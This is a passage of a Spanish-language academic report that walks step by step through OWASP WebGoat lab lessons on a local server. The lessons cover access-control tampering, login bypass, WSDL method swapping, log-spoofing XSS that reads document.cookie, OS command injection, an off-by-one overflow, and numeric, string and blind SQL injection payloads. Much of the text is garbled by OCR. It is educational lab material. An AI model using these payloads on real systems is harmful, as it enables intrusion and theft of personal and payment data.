Cancelar

Figura 87. Bypass Bussiness. Modificacion Parametros.

Eliminandose el usuario ‘TomCat’ de la pagina web.

4.2.3.2. Add Data Layer Access Control

En esta leccion vamos a intentar obtener el ID de todos los usuarios, para ello
nos vamos a ayudar de la herramienta Firebug de FireFox.

Seleccionamos un usuario cualquiera e inspeccionamos el elemento:

“ Goat Hills Financial

f& Human Resources
L |

('

Please Login ‘
Larry Stooge (employee) hd

Password * ') C' ﬁ

Login

Guardar como...

Verimagen de fondo

Seleccionar todo
Ver cadigo fuente de la pagina
Ver infermacidn de la pagina

Inspeccionar elemento
@ FoxyProxy Standard

'@ Web Developer »

Fireforce 3

|LT"| Inspeccionar elemento con Firebug

AOASPELT]

Figura 88. Add Data Layer Access Control. Firebug.
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Conseguimos la ID de todos los usuarios de la pagina web:

E] <select name="employee_id">
<option v
<option v
<option v
<option v

Larry Stocge (employee) </option>
">Moe Stooge (manager) </option>
">Curly Stocoge (employee) </option>
">Eric Walker (employee) </option>
<option V.
<cption v,

">Tom Cat (employee) </cption>
">Jerry Mouse (hr) </option>

<optien v ">David Giambi (manager) </option>
<option val

<cption v

rre (employee) </cption>

ston (employee) </option>

<option v ne McDougal (hr) </option>
<option v
<option v

</select>

yne (admin) </option>

12">Neville Barthclomew (admin) </cption>

Figura 89. Add Data Layer Access Control. Cédigo pdgina.

J

Gracias al ID, vamos a poder conseguir los datos del usuario ‘Moe Stooge
estando autentificados como ‘Tom Cat’. La informacién que necesitamos es el
ID de ‘Moe Stooge’, que es el 102, y el ID de ‘Tom Cat’ que es 105.

Nos logamos nuevamente como ‘Tom Cat’ y la contrasefia ‘tom’, accedemos a
la opcion de ‘ViewProfile’ e interceptamos la peticion con TamperData:

http://127.0.0.1/WebGoat/attack?Screen=1418&menu=200
MNombre de cabecera pe..  Valor... MNombre de pardmetro post Valor de pardmetro post
Host 127.0. employee_id 102]
User-Agent Mozill action ViewProfile
Accept text/ht
Accept-Language es-ES,
Accept-Encoding gzip, d
Referer http:/,
Cookie JSESSI
Authorization Basic
Cancelar

Figura 90. Add Data Layer Access Control. Modificacion valor.
En el campo ‘employee_id’ ponemos el valor de ‘102’ en lugar de ‘105, lo que
nos permite acceder a los datos personales de otro usuario.

¢ Goat Hills Financial

Jés Human Resources

[fifi‘ Welcome Back Tom - View Profile Page = ]
First Name: Moe Last Name: Stooge

Street: 3013 AMD Ave City/State: New York, NY

Phone: 443-938-5301 Start Date: 3082003

S5N: 936-18-4524 Salary: 140000

Credit Card: NA Credit Card Limit: 0

Comments: Very dominating over Larry and Curly

Disciplinary Explanation: Disc. Dates: 101013

Hit Curly over head
Manager: 112

ListStaff || EditProfile Logout

L.

Figura 91. Add Data Layer Access Control. Visualizacion Ficha.
e
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4.2.3.3. Improver Error Handline

En esta vulnerabilidad vamos a intentar acceder al sistema sin introducir
ninguna contrasefia ayudandonos de la herramienta TamperData, que permite
capturar la trama enviada al servidor y eliminar directamente el campo
password.

http://127.0.0.1/WebGoat/attack?Screen=1158menu=1000

MNombre de cabecera ped...  Valor de cabecera pe... Mombre de parametro p...  Valor de parametro p...

Host | 127.0.0.1 | Username |webgoat

User-Agent | Mozilla/5.0 [Windows| Password |

Accept |ta¢fhtml,application,’| SUBMIT | Login

Accept-Language | es—ES,e;;q:lD.S,en—US;.|

Accept-Encoding | gzip, deflate |

Referer hittp://127.0.0.1/\WebC|

Cookie | JSESSIONID=4F56?551|

Authorization ' Basic d2ViZ29hdDp3Z

| Aceptar ‘ ‘ Cancelar |

Figura 92. Improver Error Handline. Eliminacion TamperData.

Hemos conseguido logarnos en el sistema con el usuario ‘WebGoat’ sin
conocer su contrasefia.

* Congratulations. You have successfully completed this lesson.

-* al of if'r ce welcome, webgoat

‘V ‘ ‘ You have been authenticated with Fail Open Error Handling
-

Figura 93. Improver Error Handline. Autentificacion.
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4.2.3.4 Remote Admin Access

En esta vulnerabilidad vamos a acceder a la informacion de todos los usuarios,
pudiendo acceder al menu del administrador desde un usuario que no tenga los
privilegios de administrador. Para ello nos vamos al menu ‘Admin Functions’ y
nos vamos al apartado ‘User Information’. Unicamente tenemos que copiar la
direccion

WebGoat uses the Apache Tomcat server. It is configured to run on localhost although this can
be easily changed. This configuration is for single user, additional users can be added in the
tomcat-users.xml file. If you want to use WebGoat in a laboratory or in class you might need
to change this setup. Please refer to the Tomcat Configuration in the Introduction section.

The WebGoat Iinterface

. - Logout @

Afadir este enjace a marcadores
Copiar la ruta del enlace

4 .
Bugcar "Admin Functions” en Google G v

booatvsz | < > |
ghane

Inspeccionar elemento
@ FoxyProxy Standard
& Web Developer ’

Fireforce »

‘i Inspeccionar elemento con Firebug

Figura 94. Remote Admin Access. Copiar enlace menu.

Una vez copiada la direccion, la pegamos en el navegador, y afiadimos la
propiedad admin, dandole el valor true

localhost/'WebGoat fattach | 148&meniy

Lo que nos permite conocer los datos de acceso de los usuarios

* Congratulations. You have successfully completed this lesson.

|USERID |USER_NAME ([PASSWORD [COOKIE
|1IIIl |j5n|:|w ||JE|5-5WE|1 |
[102 ljdoe [passwdz ||
|1I33 |jplane ||JE|5-5WE|3 |
[104  |[jeff [ieff |
[105 |dave |dawve |

OWASP Foundation | Project WebGoat | Report Bug

Figura 95. Remote Admin Access. Datos acceso usuarios.
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4.2.3.5. WSDL Scanning
En esta leccion, se va a intentar obtener el nUmero de la tarjeta de crédito del
empleado con ID 101.

Abrimos el fichero WSDL en una pestafia nueva para ver el método a través
del cual se obtiene el nimero de tarjeta de crédito.

— <wsdl:portType name="WSDL Scanning">
— <wsdl:operation name="getCreditCard" parameterOrder="1d">
<wsdl:input message="1mpl:getCreditCardRequest” name="getCreditCardRequest"/>
<wsdl:output message="1mpl:getCreditCardResponse” name="getCreditCardResponse"/>
</wsdl:operation>
— <wsdl:operation name="getLoginCount”" parameterOrder="1d">
<wsdl:input message="1mpl:getLoginCountRequest" name="getLoginCountRequest"/>
<wsdl:output message="1mpl:getLoginCountResponse" name="getLoginCountResponse” />
</wsdl:operation>
— <wsdl:operation name="getLastName" parameterOrder="1d">
<wsdl:input message="1mpl:getLastNameRequest”" name="getLastNameRequest"/>
<wsdl:output message="1mpl:getLastNameResponse" name="getLastNameResponse"/>
</wsdl:operation>
— <wsdl:operation name="getFirstName" parameterOrder="1d">
<wsdl:input message="1mpl:getFirstNameRequest" name="getFirstNameRequest"/>
<wsdl:output message="i1mpl:getFirstNameResponse" name="getFirstNameResponse"/>
</wsdl:operation>
</wsdl:portType>

Figura 96. WSDL Scanning. Fichero.

Utilizamos la herramienta TamperData para interceptar la peticién al servidor
cuando nos logamos con la cuenta 101 y solicitamos como valor de retorno el
nombre.
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T — |
=& s T Tamper Data - Sguientes peticiones

Comenzar modificacion  Parar modificacién  Limpiar

Solution Videos Eilten

Ventana Tamper
Web Services communicate through the use of SOAF
to a web service in an attempt to execute a function

language (WSDL) file. http://127.0.0.1/WebGoat/attack?Screen=238&menu= 1900

General Goal(s): Nombre de cabecera ped... Valor de cabecera pe... Nombre de parametro p... Valor de pardmetro p...
This screen is the API for a web service. Check the \ Host 127.0.0.1 id 101
get some customer credit numbers.
User-Agent Mozilla/5.0 (Windows field getFirstName
Enter your account number: 101
Accept text/html,application/ SUBMIT Submit
Accept-Language es-ES,es;9=0.8,en-US;
Last Name
Select the fields to return: i
Login Count Accept-Encoding gzip, deflate
Referer http://127.0.0.1/WebC
Submit
Cookie JSESSIONID=39D8BF%
View the web services definition language (WSDL) to
WebGoat WSDL File Authorization Basic d2ViZ29hdDp3Z

Aceptar Cancelar

Figura 97. WSDL Scanning. Interceptacion TamperData.

Modificamos la trama, cambiando el valor del campo ‘field’, sustituyendo el
método ‘getFirstName’ por el método ‘getCreditCard’.

Conseguimos obtener el numero de la tarjeta de crédito del usuario “101’.

* Congratulations. You have successfully completed this lesson.

Enter your account number: 101

First Name
Last Name
Login Count

Select the fields to return:

Submit

getCreditCard
987654321

Figura 98. WSDL Scanning. Numero Tarjeta.
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4.2.3.6 Log Spoofing

Con este ataque vamos a realizar una suplantacion de identidad, para ello
vamos a alterar la comunicacion entre el cliente web, y el servidor Web.

En esta leccion de WebGoat vamos a logarnos como el usuario ‘admin’ sin
conocer la contrasefia, para ello inyectaremos comandos en el campo
‘Username’.

Si intentamos logarnos, el cuadro gris del formulario nos dice el resultado de la
autentificacion.

Solution Videos Restart this Lesson

* The grey area below represents what is going to be logged in the web server's log file.
* Your goal is to make it like a username "admin” has succeeded into logging in.

* Elevate your attack by adding a script to the log file.

User Name :

Password :

Login

Login failed for username: JoseCarlos

Created by Sherif

Koussa SECUreD

Figura 99. Log Spoofing. Autentificacion.

Copiamos el resultado de la autentificacion, y nos vamos a la pagina
yehg.net/encoding/?, y lo pegamos en el formulario para convertirlo, con los
datos que nos interesa.

Charset Encoder / String Encrypter [Eificessta

o mcharCode lf encodeuricomponent )] decodeuricomponent Last Command JJll fromCharCodex
Sz s B S

[Ual8itp://x55.progphp.com/xss1.htmiZfoo=[P]

P
Login succeeded for username: admin <script> alert("your server has been stolen: "+document.cookie):</script>

Send to HackVertor AFT Send to CALODO0

Figura 100. Log Spoofing. Encoder/Decoder PHP.

Afadimos un script para ver la cookie de la sesion y codificamos el mensaje.
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input encoding output encoding c
toCharCode f§ fromCharCode [l encodeURIComponent il decodeURIComponent Last Command

WISt/ /x5 5. progphp.comyxss 1.htmi?foo=[P] u

Loqin%ZOsucceeded%ZOfor%ZOusername%ﬁA%ZOadmin%20%3C3cript

%3E%20alert (%$22your%20server%20has%20been%20%20stolen%3A%20%22%2Bdocument . cookie)
%3B%3C%2Fscript%3y

Figura 101. Log Spoofing. Insercion Script codificado.

Copiamos el mensaje y lo pegamos en el campo ‘username’ del formulario

User Name : €)%3B%3C%2Fscript%3E]

Password :

Login

Figura 102. Log Spoofing. Inyeccion Script.

Vemos como se ejecuta el script, y la autentificacion con la cuenta de ‘admin’
ha sido correcta.

your server has been stolen:

Figura 103. Log Spoofing. Finalizacion ataque.
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4.2.3.7 Command Injection

En este vulnerabilidad vamos a mandar comandos inyectados a través de la
entrada de un formulario, para ello realizamos un ping a 127.0.0.1 y lo
codificamos con PHP Charset Encoder / String Encrypter

25 V1N 1./ /55 progphp.com/xss 1.html?foo=[P]

%22%20%26%20ping%20127.0.0. 1

Figura 104. Command Injection. PHP Charset Encoder.

Tras esto utilizamos la herramienta ‘Tamper Data’ para modificar la peticién al
servidor e inyectar el comando.

http://127.0.0.1/ WebGoat/attack?5creen=118&menu=1100

Mombre de cabecera ped... Valor de cabecera pe... Maombre de pardmetro p...  Valor de parametro p..

Host 127.0.0.1 HelpFile 3%20ping%20127.0.0.1|

User-Agent Meozilla/5.0 (Windows SUBMIT View
Accept text/html, application/
Accept-Language es-E5,e5:0=0.8,en-US;
Accept-Encoding gzip, deflate

Referer http://127.0.0.1/ Web(C
Cookie JSESSIONID=38D2BF

Autheorization Basic d2ViZ20hdDp3d

Figura 105. Command Injection. Peticion al servidor.
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Y vemos el resultado y como hemos conseguido insertar codigo en el
formulario.

* Congratulations. You have successfully completed this lesson.
You are currently viewing: AccessControlMatrix.help” & ping 127.0.0.1

Select the lesson plan to view: AccessControlMatrix.help v | View

ExecResults for 'cmd.exe /c type "C:\Users\usuario\Desktop\WebGoat-
5.4-OWASP_Standard_Win32\WebGoat-5.4\tomcat\webapps\WebGoat\lesson_plans\English
\AccessControlMatrix.htm!" & ping 127.0.0.1"

Output...

Lesson Plan Title: Using an Access Control Matrix

Concept / Topic To Teach:

In a role-based access control scheme, a role represents a set of access permissions and
privileges. A user can be assigned one or more roles. A role-based access control scheme
normally consists of two parts: role permission management and role assignment. A broken
role-based access control scheme might allow a user to perform accesses that are not
alllowed by his/her assigned roles, or somehow allow privilege escalation to an unauthorized
role.

General Goal(s):

Each user is a member of a role that is allowed to access only certain resources. Your goal is
to explore the access control rules that govern this site. Only the [Admin] group should have
access to the 'Account Manager' resource.

Haciendo ping a 127.0.0.1 con 32 bytes de datos:
Respuesta desde 127.0.0.1: bytes=32 tiempo<1im TTL=128
Respuesta desde 127.0.0.1: bytes=32 tiempo<1m TTL=128
Respuesta desde 127.0.0.1: bytes=32 tiempo<1lm TTL=128
Respuesta desde 127.0.0.1: bytes=32 tiempo<1m TTL=128
Estadisticas de ping para 127.0.0.1:

Paquetes: enviados = 4, recibidos = 4, perdidos = 0

(0% perdidos),

Tiempos aproximados de ida y vuelta en milisegundos:
Minimo = Oms, M ximo = O0ms, Media = Oms

Returncode: 0

Figura 106. Command Injection. Formulario con cédigo insertado.

José Carlos Novella Roman 83



o
SN Explotacién de vulnerabilidades web a través de DVWA

4.2.3.8. Buffer Overflow

Descripcion

No es muy habitual, pero las vulnerabilidades de Buffer Overflow
(desbordamiento de bufer) se siguen dando en las aplicaciones web. Estas
tienen lugar cuando en un nivel de la aplicacidbn no hay suficiente memoria
asignada para hacer frente a los datos presentados por el usuario.

En WebGoat podremos practicar con esta vulnerabilidad, llamada ‘Off-by-One
Buffer overflow’. Este vulnerabilidad surge de la posibilidad de sobreescribir la
posicion para el byte nulo de arrastre (trailing null byte), desvelandose
informacion adicional del usuario, como consecuencia de no encontrarse el
byte nulo.

Las causas de esta vulnerabilidad son:

e Error en la implementacion de métodos de validacion de datos de
entrada.
e Error en la gestion de memoria.

El objetivo del ataque es:

e Enviar peticiones HTTP al servidor.

e Capturar y modificar una peticion.

e Enviar peticiones modificadas forzando el desbordamiento.
e Aprovechamiento de la vulnerabilidad.

Mirando las noticias sobre fallos recientes de seguridad, podemos ver que la
compafiia Oracle en mayo del 2015 fue afectada por esta vulnerabilidad?*®

Reproducimos la vulnerabilidad en WebGoat, para ello tendremos que realizar
previamente las siguientes acciones:

e Descarga, instalacién y configuracion de Burp Suite.
e Configurar el proxy en el navegador, con los parametros localhost y
puerto 8082.

1% http://www.scmagazine.com/oracle-patches-buffer-overflow-bug-venom/article/415329/
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e Accedemos al apartado “Buffer Overflows” — “Off-by-One Overflows” e
introducimos un usuario cualquiera para recoger una peticién con Burp.
Vemos como Burp ha capturado la peticion:

burp suite F edicion v1.4.01

burp Intruder repester window about
| target progy 5 plcler | y 1 il ruic s rpe st e B S decoder T ArE 1 options ' alerts
intercept | options | history |

request ta hH‘p M127.42.84.3: 8080
forward || drop | Intercept is on action

| raw I params " headers | hex |
POST fwebgoat/attack?Screen= 202 &menu=~600 HTTP/1.1 =
Host: 127,42 84, 3:8080

User-agent: Mozillays.o (x11; Ubuntu; Linux i686; ny:28.0) Gecko/20100101 Firefox/28.0
Accept: text/html appheationxbtmi+=ml. apphcationsemlg=0.9.%M*:q=0.8
Accept-Languane: es-ES,es.0=0 8.en-LIS:0=05 en.g=0.3

Accept-Encoding: gzip. deflate

Referar: hitp¥127.42.84.3:8080web goat jattack?Scresn= 200 &menu=500&Restart=202
C:]Ole:JSESSIONID=:ib,_',,“_L"J-'5'J_.'EE':EEEBH()':H.'..."—'J::I-’-':

Autharization: Basic c2Ftd¥haTpzyWllemFp

Cannaction: keep-alive

Cantent-Type: apphcationsx-www-form-urencoded

Caontent-Langth: 56

first_name=|avier&last_narme=Tarre&room_no—=&SUBMIT=Submit

IE| 0 mztches

Figura 107. Buffer Overflow. BurpSuite.

El campo que tenemos que desbordar serd el nimero de habitacion
‘room_no” que aparece vacio en la captura.

e Crearemos un fichero con una cadena de texto muy grande para realizar
el desbordamiento en el aplicativo web.
bufFer_owerFlow (~/Escritoric) - gedit

A&rchive Editar “=r Buscar Herrarmientas Docurnsntos

! P corir - B8 Guarder M

|_-: ||FI’.- L W _||..l.|’ *

www . U3h. eshttp: / fwwi . Uah. eshttp: [ fwww. uah. eshtTp: //www. uah. eshtop: //
wawwt . Uah. eshttp: / fwww . uah. eshttp: [ fwww wah eshttpe f fwew . uah eshtop: /)
www Lah eshttp: / fwww vah eshttp: [ fwww vab eshttp: /fwew vah eshtitp /f
www . Uzh. eshttp: / fwww. vah, eshttp: [ fwwe . uah, eshtto: //wew. vah eshtop
vt U3k eshttp. / fwwe . vah, eshttp: [ fwwe . uah, eshttp: £ /wew. vah eshtop //
www . U3h. eshttp: / fimw . uah. eshttp: [ e uah. eshttp: /fwww. uah eshtop . //
wwid . Uzh. eshttp: / fwmiw . uah. eshttp: [ e uah. eshttp: /fwewe. uah eshtop /f
wwid . Uzh . eshttp: / fumw . uah. eshttp: [ M wah, eshttp: /fwee. uah eshtop . /f
www Lah. eshttp: / fwww uah eshttp: [ fwww uah eshttp: /jwew uah eshttp /f
www . uah. eshttp: / fwwiw . uah. eshttp: [ Swew uab, eshttp: £ /wew. uah. eshttp /S
www . uah. eshttp: / fwwi . Lah. eshttp: [ /waw. uah, eshttp: //wiew, uah. eshttp . //
www . U3h. eshttp: / fwww. uah. eshttp: [ Mwwe . uah. eshttp: / /www. uah. eshtop: /f
wwid . uzh. eshttp: / fwww, uah, eshttp: [ fAwww . uah. eshtop: /fwww. uah. eshtop: 7/
wwit Uzh, eshttp: / fwmw . uah, eshttp: [ fwww uah. eshttp: /fwew. uah eshtop: /f
www uzsh. eshttp: /fomw . vah eshttp: [ fwses vab eshttp: ffwew uah eshttp /f
www Lah. eshttp / fwww . uah. eshttp: [ fwee uah eshttp: /fwew uah eshtop /S
wwiwt, U3h. eshttp. / fwww. uah. eshttp: [ fwwwe . uah. eshttp: /fwew. uah. eshtop /f
wawt. U2h. eshttp: / fwww . uah. eshttp: [ fwwe. ualh, eshttp: / /www. uah eshtop //
wwt, u2h. eshttp: / fwww . uah. eshrttp: [ fwwe uah, eshttp: / fwww. uah eshtop //

wawwt, Uzl eshittp: / fwww uah, eshttp: [ fwww . vab, eshttp: / fwew, uah. eshtcp: //

www ush. eshttp: / fomw . uah. eshttp: [ fwse vab eshttp: /fwew . uah eshttp /f
www 11AR eshttn / Awww 1Ak eshttne [Awsw a0 fshttoc dwiew niah eshttn S
Textoplane = Ancho de latabulacién: 8 - Lr 1, Col41141 (NS

Figura 108. Command Injection. Archivo de texto.
I ——
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e Nos iremos a Burp y antes de mandar la peticion modificada nos
aseguraremos que la opcion “Unhide hidden form fields” este marcada
en las opciones de Proxy de Burp.

e Pulsaremos el botén derecho justo después de “room_no” y elegiremos
“paste from file” eligiendo nuestro archivo previamente creado.

burp suite Free adition wi1.4.01

burp intruder repeater window about

target | presy | spider [ scanner [Tintruder | repeater | sequencer | deceder | comparer | optiens | alerts

[ nkercept | eptlens [ histery |

request to RtEp:127.42.84. 3: 8080

forward | drop | intercept is on | action

raw | params | headers | hex

w.uah. ashttp:[fww uaheshttp: e Lab.e s ittt Uah, eshttp: s ush ashittp: e uah e shitp i uab.esh
wiaheshtt pifveseruah e shibtp divweew, uaheshttp: e uah e shitp ivaewah e s hitp fvww uah, eshitkp:fweash esht
tp:ffwwr.uah.eshit p v ah eshttp e, uah.ashttp: fwww . uah.eshttp dvaw.uah e s hitp fweew .uah. eshibp: fwewe.u
ah.eshttp: i .uzh.eshitp s ush.eshitp diwwe uah ashittp fwee uzheshitp e uzh e shitt polfeew uah 2shittp
ivewen Al e s hittp e, uah, eshttp: fwwwaaheshttp e uah e s hitp e uah. eshttp Jfasaw uaheshibpfveua
b e shttpyrevn nah. eshttp: wsw.uah . eshttp e uah.es hetpg s uak eshittp fiaee uah eshtep e .uaheshetpy
furanw 13 h.eshttp . uah e s http i, uah. eshttp: fwsw uah . eshttpfwae.uah e shttp s uah. eshttp e uah
eshitp i Lah e shttp i ah, eshitp: jiwww.uah eshtp v uab es http gt uab eshttp i uah eshitp s
ashitp:fwew uah eshit p s uah eshittp e uzh ashttp: e ua heshtt piwssuab . eshittp g rawe, uah,ashttp: i
wriah.e s httpdfeave uah. eshttp: fweas uaheshttp e uah eshitp diwes uah eshttp e uah.eshibpfieeweuah.e
shttp Jiwenw.uaheshitp:fwawuaheshtt pilfess uah ashtip fewewuaheshitpfweaveua heshitp s uab e shittp e
w.uah. eshitp: fwwuzh.eshitpivsnouzh e s hitp fwwe uah. eshitp:feeas uah eshitp v uzh e shttpdiwws uah.esh
bt pwena uah eshittp v uah eshittp s .ua hoeshit popevew.u ab e shitte f feven, uah eshitp ez heshbt pyivae.
uah.eshttp v .uah es hitp e uah eshttp jwww uah eshttp e .uah.eshtt p oy e uah . es

=5 LBmMIT=51bmit

| ¥

4[]

=l | @ matches

Figura 109. Command Injection. Paste del archivo en BurpSuite.

e En Burp pulsaremos “forward”, enviando de esta forma la peticion al
servidor.

Welcorne to the OWASP Hotel! Can you find out which room a VIP guest is staying ir?

Please select from the follewing avallable price plans:

Step 2/2
hrs_Jre that vour selection matches the hours of usage, as no refunds are givan for this
senice
tyailable Price Plans: $9.99 - 24 hours 2
Accept Terms
Torre Javier

http: fAssaaaush. eshttp: /Asanaaiuah,

By Clicking on the above you accept the terms and conditions.

Figura 110. Command Injection. Peticion al servidor.
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e Para finalizar, desactivamos la intercepcion de Burp y el proxy en el
navegador para enviar la peticion modificada. Veremos entonces, como
la vulnerabilidad es evidente, ya que nos devuelve informacién adicional
del hotel, viendo informacion reservada como los nombres de los
huéspedes y las habitaciones en las que estan alojados.

* To complete the lesson, restart lesson and enter VIP first/last name

You have now completed the 2 step process and have access Lo the Internet
Process complete

Your connection will remain sctive for the time allocated for ctarting now.

Torre Javie

http: /Asmnmnsuah. eshitp: /Avananvuah, | Johnathan
Ravern 4321

I5hn Smirh

56 Ana
Arneka r

| s Harmilkon

Figura 111. Command Injection. Informacion reservada.
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4.2.3.9. Injection Flaws

Introduccion: hoy en dia, la parte fundamental de cualquier sistema
informatico, incluido las paginas web, suelen ser las bases de datos. Las
paginas web necesitan de bases de datos para alojar los productos que
venden, los usuarios con sus datos de acceso y roles, los comentarios, etc.

Esto hace que cualquier ataque a una base de datos, pueda causar dafios
importantes, ya que la informacion guardada puede ser muy sensible.

Injection Flaws es un ataque facil de aprender, con el que un usuario puede
acceder a informaciéon no autorizada. Hay una gran cantidad de sistemas
susceptibles a este tipo de ataque.

Directamente pasamos a reproducir este ataque en WebGoat, ya que en este
documento previamente ya se ha hecho una introduccion a este tipo de ataque
(4.1.2.6 SQL Injection).

Puede haber cuatro tipos de ataques:

1. Numeric SQL Injection: en esta vulnerabilidad se inyecta sentencias
SQL con campos de tipo numérico. En este ejemplo, con el campo
station, la aplicacién recoge el ‘input station’ de la lista desplegable
de la estacion meteoroldgica y lo insertara al final de la sentencia
SQL formateado. El objetivo de esta vulnerabilidad sera el de obtener
todos los campos de la tabla ‘weather_data’, gracias a una consulta
gue sera siempre cierta.

General Goal(s):

The form below allows a user to view weather data. Try to inject an SQL string that results in all the
weather data being displayed.

Select your local weather station: Columbia 2

Go!

SELECT * FROM weather_data WHERE station = 101

|STATION [NAME  [STATE |[MIN_TEMP [MAX_TEMP
101 [Columbia [MD |10 [102

Figura 112. Injection Flaws. Formulario WebGoat.
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Para capturar la peticibn nos vamos a ayudar de una extension de
Firefox llamada “Tamper Data”, que nos va a permitir realizar la
modificacion.

Tamper Data - Siguientes peticiones

Cormenzar modificacion Opciones  Ayuda

Filkro

Haora Ti... LIEL marc. .. =]
Mombre de cabec. ., Walor de. ., Mombre de cabece, Walord, .,

Figura 113. Command Injection. Tamper Data.

Después de pulsar el SUBMIT GO, Tamper nos pregunta si queremos
modificar la peticion.

@ wModificar peticion?

@ http:/{127.42.84.3:8080 /webgoatfattack ?Screen=2298&menu=1100

B Continuar modificando?

. Erwiar | |Abortar peticion | | Modificar

Figura 114. Command Injection. Enviar peticion.
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Procedemos a modificar el valor station, concatenando al valor inicial el
valor ‘AND 1=1”, dando lugar a una sentencia que sera siempre
verdadera.

™ Wentana Tamper

htep:/f127.42.84.3:8080 webgoat fattack?Screen=225 &menu=1100

MNombre de cabecara pedida Walor de cabecera pedida Mambre de parametra past Walor de parametro post

Hezst 127.42.84.3:0000 sEation [1EI1 DI"1='1|

Llser-agent Mozl 5.0 o Ubunty; Lnweiss SLBMIT G2
Arcept rewt/heml ap plication i ennl+anl

Accepr-Language es-Ef,e50=0.8,2n-L50=052n 0

A cept-Ercading azip, d=Hate

Referer RrEpe /1 27,42, 84, 38080/ nebonar,

Craokle JSESSIONIC=5ECasmsl COOFFAEE

Aukhanzaricm Basic c2FrdihaTpzviadt 1 omfp

| cancelar Aceptar |

Figura 115. Command Injection. Modlificacion paradmetros Tamper.

Tras aceptar, nos mostrara los valores de todos los campos de la tabla
weather_data:

Select your lccal weaather station: Columbia :

Qo!

SELECT * FROM weather_dats WHERE station = 101 c¢r 1=1

|STATION [NAME |STATE |MIN_TEMP |MAX_TEMP
101 |Colurnbiz MDD |10 1102

|L02 Seattle wa |15 0

|103 [New York Ny |10 110

|104 [Houston ™ |20 1120

(L0001 [Camp David MD |10 1100

(L1001 |[ice Station Zebra [NA |60 20

Figura 116. Command Injection. Visualizacion de todas las estaciones.
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2. String SQL Injection: SQL Injection es similar a la inyeccion a
ciegas, ya que también se retorna un valor como resultado de la
consulta pero que no podemos ver. En String SQL Injection se puede
forzar a la pagina web a devolver un error como resultado de la
consulta. Vamos a probar esta vulnerabilidad en WebGoat, para ello
accedemos al apartado “Injection Flaws” — “String SQL Injection”,
aqui nos explican que el objetivo de la leccion es ensefar todos
los numeros de tarjetas.

String SQL Injection

OWASP WebGoat v6.4| « » w P ) . — A

Solution Videos Restart this Lesson

SQL injection attacks represent a serious threat to any database-driven site. The methods behind an
attack are easy to learn and the damage caused can range from considerable to complete systern
mm{)vmm:o Despite these risks, an incredible number of systerns on the internet are susceptible to
this form of attack

y “ ]‘ ) Not only is it a threat easily instigated, it is also a threat that, with a little common-sense and
. forethought, can easily be prevented

It is always good practice to sanitize all input data, especially data that will used in OS command
scripts, and database queries, even if the threat of SQL injection has been prevented in some other
manner

General Goal(s):

The form below allows a user to view their credit card numbers, Try to inject an SQL string that results
in all the credit card numbers being displayed. Try the user narme of 'Smith'

Enter your last name Ir Narme Go!

SELECT * FROM user_data WHERE last_name = 'Your Name'

No results matched. Try Again

Modity Data with SOL Injection undat ject Web port Bug

Figura 117. Command Injection. String SQL Injection.

El campo last_name es de tipo String, por lo que tendremos que
entrecomillar este campo, dentro de la consulta que se inyecte. La
consulta original sera:

Select *# From user_data Where last_name = '"Your Name'

A la cual la concatenamos la siguiente cadena, para convertirla en
siempre verdadera:

Smith' or '1'='1
Dando como resultado la siguiente sentencia:

Select *# From user_data Where last_name = 'Smith' or '1'='1"
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Al ejecutarla, se mostraran todos los campos de la tabla:

General Goal(s):

The form below allows a user to view their credit card numbers. Try to inject an SQL string that results
in all the credit card numbers being displayed. Try the user name of 'Smith'.

Enter your last name: |Srith' or "1'="1 Go!

SELECT * FROM user_data WHERE last_name = 'Your Name'

Mo results matched. Try Again.

OWASP Foundation | Project WebGoat | Report Bug

Figura 118. Command Injection. Inyeccion SQL.

Y podremos ver todos los nombres y los valores de las tarjetas de

crédito almacenado en la base de datos.

* Congratulations. You have successfully completed this lesson.

* Now that you have successfully performed an SQL injection, try the same type of
attack on a parameterized query. Restart the lesson if you wish to return to the
injectable query.

Enter your last name: Srnith' or "1'="1 Go!

SELECT * FROM user_data WHERE last_name = 'Smith' or '1'='1'

[USERID [FIRST_NAME [LAST_NAME [CC_NUMBER  [CC_TYPE [COOKIE [LOGIN_COUNT
[101 ce [snow (987654321 [Visa [ [0
[101 Jce [snow (2234200065411 [MC | [0
[102 [iohn [smith (2435600002222 [MC | ]
[102 [john [Smith 4352209902222 [AMEX | o
[tz [ane [Plane (123456789 [Mc | [o
[103 [ane [Plane (333498703333 |[AMEX | [0
[10312 [olly [Hershey (176896739 [Mc | o
[10312 [olly [Hershey (333300003333 [aMEX | o
[10323  [Grumpy [youaretheweakestlink [6738344389 [Mc [ [0
[10323  [Grumpy [youaretheweakestlink [33413003333  [AMEX | [0
[15603 [peter [sand (123609789 [rc | o
[15603 [peter [sand [338893453333 |[aMEX | [o
[15613  |jcesph [something (33843453533 [AMEX | [0

Figura 119. Command Injection. Tabla completa usuarios.

Tras este ataque, WebGoat entra en modo defensivo adoptando

consultas parametrizadas que previenen este tipo de ataque.
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3. Blind Numeric SQL Injection: en esta vulnerabilidad se inyecta
codigo SQL a ciegas, sin que se devuelvan valores concretos. En la
leccion de WebGoat, se nos muestra un formulario, y nos permite
introducir un numero de cuenta, respondiendo la aplicaciéon si es
vélida o no. El objetivo es encontrar el valor del campo pin de la tabla
‘pins’ que contenga un ‘cc_number’ con valor 1111222233334444. El
campo pin sera de tipo entero:

jection Flaw The form below allows a user to enter an account number and determine if it is valid or not. Use this
Blind Numeric SOL Iniectio form to develop a true / false test check other entries in the database

The goal is to find the value of the field pin in table pins for the row with the cc_number of
1111222233334444. The field is of type int, which is an integer.

Put the discovered pin value in the form to pass the lesson

Enter your Account Number: | 101

Account number is valid

Figura 120. Blind Numeric SQL Injection. Formulario.

Puesto que la salida que devuelve la pagina es la de si existe 0 no
existe, no podemos limitarnos a pedir el nUmero de pin para esta
cuenta, mediante la siguiente consulta:

SELECT pin FROM pins WHERE cc number='1111232333334444°

Y tendremos que afadir una condicion para que la consulta o0 sea
siempre verdadera o sea siempre falsa.

Select * From user data Where last _name = 'Smith' or '1°'='1"'
Enter your Account Nurmber: 1071 AND 1= QD!
Enter your Account Number: 101 AND 1=2 Go!

Figura 121. Blind Numeric SQL Injection. Acotamiento por consultas.
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Para ir aumentando la precisiéon de la consulta, iremos utilizando
consultas mas complejas, que nos permitira acotar la longitud del pin
a cuatro digitos:

101 and 1=((Select pin From pins Where cc number='1111223733334444"')>399)

La consulta sera verdadera si tiene cuatro digitos o mas.

Con consultas sucesivas vamos acotando la busqueda:

101 and 1=((SELECT pin FROM pins WHERE cc number='1111233233334444")>2500)

Verdadero si es mayor que 2500

101 and 1=(5ELECT pin FRCM pins WHERE cc number='11113233233334444")>2000

Verdadero si es mayor que 2000

